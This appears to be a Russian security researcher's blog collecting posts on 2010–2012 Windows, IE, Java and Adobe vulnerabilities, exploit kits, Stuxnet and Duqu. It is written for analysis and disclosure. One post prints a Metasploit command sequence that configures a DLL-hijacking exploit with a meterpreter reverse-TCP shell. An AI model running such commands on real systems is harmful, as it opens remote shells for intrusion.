Не успела MS отрапортовать об успешно закрытых 13-ти уязвимостях в MS12-037, как Google наводит панику с очередной уязвимостью нулевого дня (CVE2012-1889) во всей линейке IE. А к тому же уязвимость еще проявляется в MS Office 2003/2007 и вполне пригодна для целенаправленных атак. Cпустя несколько дней появляется публичный эксплойт в составе проекта Metasploit.
Собственно уязвимость кроется в Microsoft XML Core Services. Происходит повреждение памяти при обращении к не инициализированному участку с несуществующим XML Node (посредством вызова метода get_definition()), что в итоге может привести к удаленному выполнению кода. Простейший код приводящий к IE к аварийному завершению выглядит следующим образом:
Этот код пытается обратиться к
не инициализированному объекту в памяти, но ссылка на этот регион памяти все же создается, что собственно приводит к потенциальной возможности выполнения кода в функции _dispatchImpl :: InvokeHelper().
На этой неделе известный набор эксплойтов Blackhole обновился до версии 1.2.3 и в его составе появился новый эксплойт для Java на уязвимость CVE-2012-0507 (Java/Exploit.CVE-2012-0507). Первыми обратила внимание общественности на актуальность этой уязвимости компания Microsoft, которая опубликовала в своем блоге сообщение об интересном способе выполнения Java кода за пределами песочницы JRE (Java Runtime Environment).
Первые упоминания о боевом эксплойте для этой уязвимости появились от компании Immunity, которая выпустила специальный модуль для своего продукта Immunity CANVAS еще в начале марта 7.03.2012. Эта уязвимость была закрыта 15 февраля в рамках критического обновления от Oracle. Буквально вчера поздним вечером, на момент подготовки этой публикации, появился публичный эксплойт для CVE-2012-0507 в составе Metasploit Framework. Отдельно стоит отметить его кроссплатформенность и возможность эксплуатации на системах Windows, Linux, Solaris и OSX. Последняя особенно интересна в свете увеличения количества вредоносных программ для нее, распространяющихся в том числе и посредством эксплуатации Java уязвимостей. Эксплойт из Metasploit Framework выглядит очень похожим на тот, что был обнаружен в обновленном Blackhole и складывается впечатление, что он был рипнут по большей части от туда ;)
В последнее время я довольно часто писал об эксплойтах для Java и они действительно в последний год самые пробивные в инцидентах массового распространения вредоносных программ. Разработчики наборов эксплойтов, таких как Blackhole, используют только так называемые 1-day уязвимости, т.е. уже содержащие официальное исправление от разработчиков. Потому что использование 0-day слишком дорого для их целей и совершенно себя не окупает, но бывают исключения, когда 0-day попадает на паблик вместе с PoC. Использование уязвимости нулевого дня на данный момент можно чаще всего увидеть в целенаправленных атаках. Кстати довольно занимательный пост о ценах на 0-day и карме ресечеров можно почитать тут.
Вернемся к нашему эксплойту, на этой неделе было замечено снова распространение Win32/TrojanDownloader.Carberp через популярные веб-ресурсы, посредством внедрения iFrame конструкций для перенаправления на ресурс с набором эксплойтов.
Первым нам попался ресурс lifenews.ru, на котором содержался следующий iFrame:
Как видно из внедренного кода сразу происходила атака именно CVE-2012-0507, а доменное имя на котором был расположен Blackhole очень схоже с именем атакованного веб-ресурса. Результат выполнения кода в iFrame можно увидеть даже визуально на модифицированной оригинальной странице.
За последнее время Java-эксплойты получили наиболее широкое распространение в составе различных эксплойт-паков. Уровень пробива у них очень высок, так как обновляют JRE многие крайне редко, да и вообще забывают о его существовании. Для злоумышленников дополнительном стимолом к поиску уязвимостей в JRE является легкость их эксплуатации, стабильность, работа в обход различных песочниц внутри браузеров и кроссплатформенность.
Буквально несколько часов назад компания Symantec обнародовала довольно интересный исследовательский отчет "Duqu: the precursor to the next Stuxnet". Собственно повествует он о вредоносной программе, которая своей реализацией сильно напоминает все известный Stuxnet. Причем настолько напоминает, что местами, кажется, что этот код писала одна и таже группа разработчиков. Сценарий работы очень схож со Stuxnet, но кода много и поэтому на 100% процентов для себя еще не подтвердил идентичность авторов. Из интересного вот такая вот сравнительная таблица:
В последнее время все больше внимания привлекается к безопасности в области промышленных SCADA систем. Отчасти катализатором такого пристального внимания стал громкий инцидент с червем Stuxnet и беспрецедентными суммами нанесенного им ущерба.
На недавно прошедшей в Мадриде конференции RootedCon'11 был представлен весьма интересный доклад "SCADA Trojans: Attacking the grid" по этой теме:
- 0-day уязвимости в Advantech/BroadWin WebAccess SCADA
- архитектурные уязвимости в CSE-Semaphore TBOX RTUs
Вчера появился CVE-2011-0654 на уязвимость в переполнении кучи в процессе обработке специально подготовленных пакетов по протоколу Windows BROWSER, который работает поверх SMB. PoC несколькими днями раньше и уже произвел резонанс в определенных кругах. Виной всему функция BowserWriteErrorLogEntry() из mrxsmb.sys в которой собственно и происходит страшное:
if ( Length > 0 )
RtlCopyMemory(StringOffset, InsertionString, Length*sizeof(WCHAR));
Vupen подтвердила работу уязвимости для Win Server 2003 SP2 и WinXP SP3, а MS утверждает, что в принципе этой уязвимости подвержены все версии винды, но ничего страшного сделать с ними нельзя кроме DoS.
Около двух недель назад появилась интересная информация "Hacking with mhtml protocol handler". Как оказалось очередной 0-дей в обработке MHTML, на этот раз уязвимость кроется в обработке MIME-formatted запросов. При определенных условиях злоумышленник может внедрить js-код, который выполниться на клиентской стороне. Последствия могут быть разные, например похищение аутентификационных данных для популярных сервисов или банальный XSS. Работает уязвимость только на IE, но зато для всех версий и видне начиная с ХР и выше.
Интересный эксплойт появился на метасплойте в начале января для CVE-2010-3970. Началось все с двух товарищей Moti Joseph & Xu Hao, которые поведали миру о переполнении стека при отображении thumbnails файлов на конференции POC2010 в середине декабря (слайды).
Не прошло и нескольких месяцев, как вчера вышел MS10-092, закрывающий последний 0-day, эксплуатирующийся червем Stuxnet для повышения привилегий до уровня системы на осях Vista/Win7.
Что интересно эта уязвимость стала эксплуатироваться руткитом TDL4 с конца ноября для инсталляции на системы Vista/Win7.
Где-то в конце ноября появился публичный эксплойт и примерно через несколько дней мы обнаружили первые экземпляры TDL4, эксплуатирующие эту уязвимость. Возможно эти события никак и не взаимосвязаны, т.к. в CANVAS рабочий сплойт попал на много раньше, да и в принципе уже многие его расковыряли сами в тельце Stuxnet. Кстати уязвимость эксплуатируется достаточно просто и код получается универсальным и для x86 систем, и для x64.
Что стало наиболее приятным для меня во всей этой эпопее с сотрудничеством с MS, нас таки отметили в списке с благодарностями:
Но в принципе, иначе и быть не могло, т.к. мы единственные кто предоставили рабочий PoC код еще в сентябре, а не только описание уязвимости.
MS10-92 - это не единственная уязвимость закрытая вчера и с полном списком можно ознакомиться здесь.
На прошлой неделе был опубликован PoC на интересный 0-day, суть которого заключается в недостаточном контроле входных параметров функции RtlQueryRegistryValues() в итоге получаем классическое переполнение стека в ядре и права SYSTEM у нас в руках. Эксплуатировать уязвимость достаточно просто,т.к. в ядре нет различных препятствий мешающих эксплуатации, как в пользовательском режиме. Не буду тут подробно описывать эту уязвимость, так как все уже есть.
Второй интересной новостью стало появление публичного PoC для уязвимости в Task Scheduler, которая была обнаружена в коде червя Stuxnet и известна уже как минимум с конца лета (с этого же времени MS тоже в курсе).
Обе эти уязвимости прекрасно работают на большинстве распространенных версий винды и позволяют повысить локальные привилегии до SYSTEM в обход UAC. Но кроме бюллетеней CERT, пока нет официальных бюллетеней со стороны MS, в прочем и дат по их закрытию тоже. А злоумышленники тем временем имеют вполне себе неплохие инструменты для "тихой" инсталляции всякого зверья.
Сегодня обновили наше исследование "Stuxnet under the microscope" до версии 1.2, внесли немного косметических правок. Но самое главное добавили описание последней 0-day уязвимости, которая пока не была озвучена подробно, речь идет о повышении привилегий через Task Scheduler. В нашем отчете мы подробно рассмотрели то, как червь Stuxnet эксплуатирует эту уязвимость для повышения привилегий под Vista/Win7. Все использованные вектора для атаки червем Stuxnet выглядят следующем образом:
Не для какого уже давно не секрет,что как только появилась информация об использовании червем Stuxnet не закрытых уязвимостей, множество исследователей по разные стороны баррикад стали их искать. Кому-то удалось их найти, а кому-то нет, но не понятно, когда они будут закрыты. Обе уязвимости используются червем для повышения локальных привилегий в системе при своей инсталляции в систему.
Вчера вечером мы закончили подготовку достаточно серьезного исследования по анализу червя Win32/Stuxnet. Самым сложным было подготовить сам отчет, т.к. он постоянно разрастался, потому как хотелось описать все, но описать все, таки не получилось. Некоторые подробности внедрения вредоносного функционала в SCADA остались за кадром (ну нету у нас реактора для тестов :)). Также мы не стали публиковать описание еще двух 0-day уязвимостей, которые пока до сих пор не закрыты и MS попросила этого не делать. Одна из них находится в win32k.sys и служит для повышения локальных привилегий в процессе инсталляции на операционные системы Win2000/WinXP. А вторая поинтереснее, т.к. позволяет повысить привилегии на Vista/Win7, через уязвимость в Task Scheduler. Пока про эти уязвимости больше ничего не скажу, всему свое время ;)
Искренне считаю, что мы провели полезное исследование и смогли правильно преподнести его результаты, поэтому крайне рекомендую вам с ним ознакомиться.
На прошлой неделе был обнародован очередной 0-day для Adobe Reader (CVE-2010-2883). На этот раз повинна оказалась CoolType.dll, которая отвечает за парсинг True Type Font. Уязвимость проявляется при обработке шрифта с неправильной SING таблицей. В функции обработки есть вызов небезопасной синшной функции strcat(), которая при определенных условиях приводит к переполнению на стеке.
На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:
msf use exploit/windows/browser/webdav_dll_hijacker msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt" msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(webdav_dll_hijacker) > set LPORT 6666 msf exploit(webdav_dll_hijacker) > set LHOST msf exploit(webdav_dll_hijacker) > exploit
Буквально недавно была обнаружена уязвимость в обработке LNK-файлов и их отображением. Но самой уязвимости уделяется мало внимания, в основном весь шум вокруг Win32/Stuxnet и использованных валидных сертификатов для подписи компонентов этого зловреда. А тем временем эта уязвимость уже появилась в публичном доступе. Сначала в виде PoC, а потом и в виде модуля для Metasploit. MS, как в прочем и обычно, пофиг на критичность этой уязвимости и она вероятнее всего выпустит патч не раньше 10 августа. А для WinXP SP2 патча вообще не будет, хотя как не странно на ней еще есть пользователи и их не так мало, как хотелось бы. Подтверждение тому распределение угрозы по оконным версиям от Symantec, где именно WinXP SP2 имеет большую долю зафиксированных инцидентов.
В качестве векторов использования этой уязвимости могут быть не только USB-накопитили, но и сетевые ресурсы. Например, в Metasploit эксплуатация происходит через WebDAV. Работает уязвимость примерно так:
Речь идет не о банальном переполеннии или неразименованном указателе, все гораздо хуже, т.к. уязвимость by design так сказать (уязвимы все версии винды). Т.е. разработчики прохлопали ушами, что такой путь могут использовать злоумышленники для установки всякого вредоносного. Хотя может все гораздо хуже и это просто очередной бэкдор оставленный в системе по просьбе NSA? Боюсь правды мы не узнаем никогда. Давайте теперь поговорим непосредственно о технических деталях работы этой уязвимости.
CVE-2010-2568 – уязвимость находится в обработчике LNK-файлов, о точнее связана с процессом отображения Control Panel shortcuts, когда происходит их загрузка в память процессом Explorer.exe. Уязвимой являться библиотека shell32.dll в которой происходит некорректная обработка. Ниже приведенная схема иллюстрирует потоки данных между вызываемыми функциями в процессе работы эксплойта (подсмотренно здесь). Успешным выполнением эксплойта является загрузка сторонней динамической библиотеки при помощи WinAPI функции LoadLibraryW.
Собственно именно ниже приведенный код и заставляет выполниться вредоносную DLL, этот код находиться в функции _LoadCPLModule, которыя вызывается из CPL_LoadCPLModule.
В эксплойте в составе Metasploit для эксплуатации уязвимости генерируется URL следующего вида "{webdav}{exploit_base}\\{exploit_dll}", такой подход к эксплуатации этой уязвимости сильно расширяет границы ее использования за пределы USB-накопителей.
Интересный отчет обнародовала Secunia, в котором приводится срез самых крупных вендоров ПО по числу найденных уязвимостей. Интересный факт, что в этом году по числу найденных уязвимостей лидирует компания Apple, которая пришла на смену прошлогоднему лидеру Oracle. По графику можно отследить явный тренд увеличения числа найденных уязвимостей, видимо с ростом популярности эта платформа привлекает к себе все больше внимания со стороны исследователей по всему миру.
Судя по графику у MS стагнация начиная с 2006 года, т.е. уязвимости находят регулярно и много. А вот Adobe, как ни странно находиться только на пятом месте.
На протяжении всего текущего года компания Adobe уже не раз нас радовала серьезными уязвимостями, которые влекли за собой возможность удаленного выполнения произвольного кода. В этот раз очередной "шедевр" (CVE-2010-1297) был связан с уязвимостью в Adobe Reader и некоторыми особенностями обработки встроенных в pdf флеш-роликов. Многие уязвимости в продуктах Adobe (CVE-2010-129 входит в их число) могут эксплуатироваться не только на платформе windows, но на многих других, на которые они официально подставляются. Другое дело, что провести успешную атаку эксплойтом на одних плотформах проще, а на других сложнее. Сама Adobe не спешит выпускать заплатку для этой уязвимости и она запланирована только на конец июня, получается, что пользователи продукции этой компании подвержены риску почти на протяжении целого месяца. На мой взгляд для столь массовых продуктов это просто не допустимо. Ну, а теперь давайте рассмотрим саму уязвимость. Итак, уязвимость находиться в модуле authplay.dll, при обработке специально сформированного SWF. Корнем зла на этот раз оказался тег DoABC, использующийся при вставке swf в pdf-файлы. Во вредоносном SWF-файле заменен всего лишь один опкод, но именно он и приводит к ошибке. Оригинальный байт-код 0x66 (GetProperty) заменен на 0x40 (newfunction). Судя по всему уязвимость была найдена с применением методов фаззинга файловых форматов. Но выполнению SWF предшествует heap-spraying, используется для обхода DEP. В итоге мы получаем ret2lib в BIB.DLL, после чего начинается выполнение шелл-кода. Подобная техника обхода DEP была использована в нашумевшей атаке codname: Aurora. Сейчас она приминяется очень часто в различных эксплойтах. Для того чтобы попасть в библиотеку BIB.dll используются техники return-oriented programming (ROP), недостаток этого метода в достаточно длительном времени работы. Например, публичный эксплойт на CVE-2010-1297, опубликованный в рамках Metasploit. Оказался очень медленным и нестабильным в работе. На днях была опубликована программа BH'2010 USA та, что проводиться в Вегасе и на ней было замечено достаточно большое количество докладов посвященных ROP. Конец лета будет интересным :)
Напоследок небольшая демка, которую я записал для корпоративного блога, но мне она нравится и пожалуй продублирую ее здесь тоже :) На ней отчетливо видно, как не быстро отрабатывает ROP shellcode (из Metasploit'а работает как минимум в двое медленее). В качестве сандтрека была взята заглавная тема к фильму Pi.
И вот снова очередная уязвимость в MSIE, правда на этот раз уязвимы только 6 и 7 версии этого браузера, которых до сих пор не так мало осталось. Итак, CVE-2010-0806 или Microsoft Security Advisory (981374) , на этот раз ошибка в модуле iepeers.dll и снова подвешенный указатель, который поваляет посредством heap spray выполнить злонамеренный код. Эксплойт на Metasploit Wild сплойт Оба сплойта корректно работают на: – Microsoft Internet Explorer 7, Windows Vista SP2 – Microsoft Internet Explorer 7, Windows XP SP3 – Microsoft Internet Explorer 6, Windows XP SP3
Относительно не давно (а точнее на 26 февраля) стала появляться информация о новом 0-day для IE, который эксплуатирует уязвимость в системе вызова HLP-файлов и позволяет удаленно выполнить злонамеренный код. Суть уязвимости заключается в том, что при вызове из VBScript функции MsgBox() можно выполнить произвольный HLP-файл. Злоумышленник может на специально сформированной веб-странице подтолкнуть пользователя к нажатию клавиши "F1" во всплывающем MsgBox() и таким образом запустить на выполнение HLP-файл из внешней директории (HLP-файл - является исполняемым файлом). Эта уязвимость работает для Internet Explorer 8,7,6 для Win 2000/2003/XP со всеми установленными последними обновлениями. Win7 и Vista не подвержены данной атаке. Пример эксплуатации уязвимости: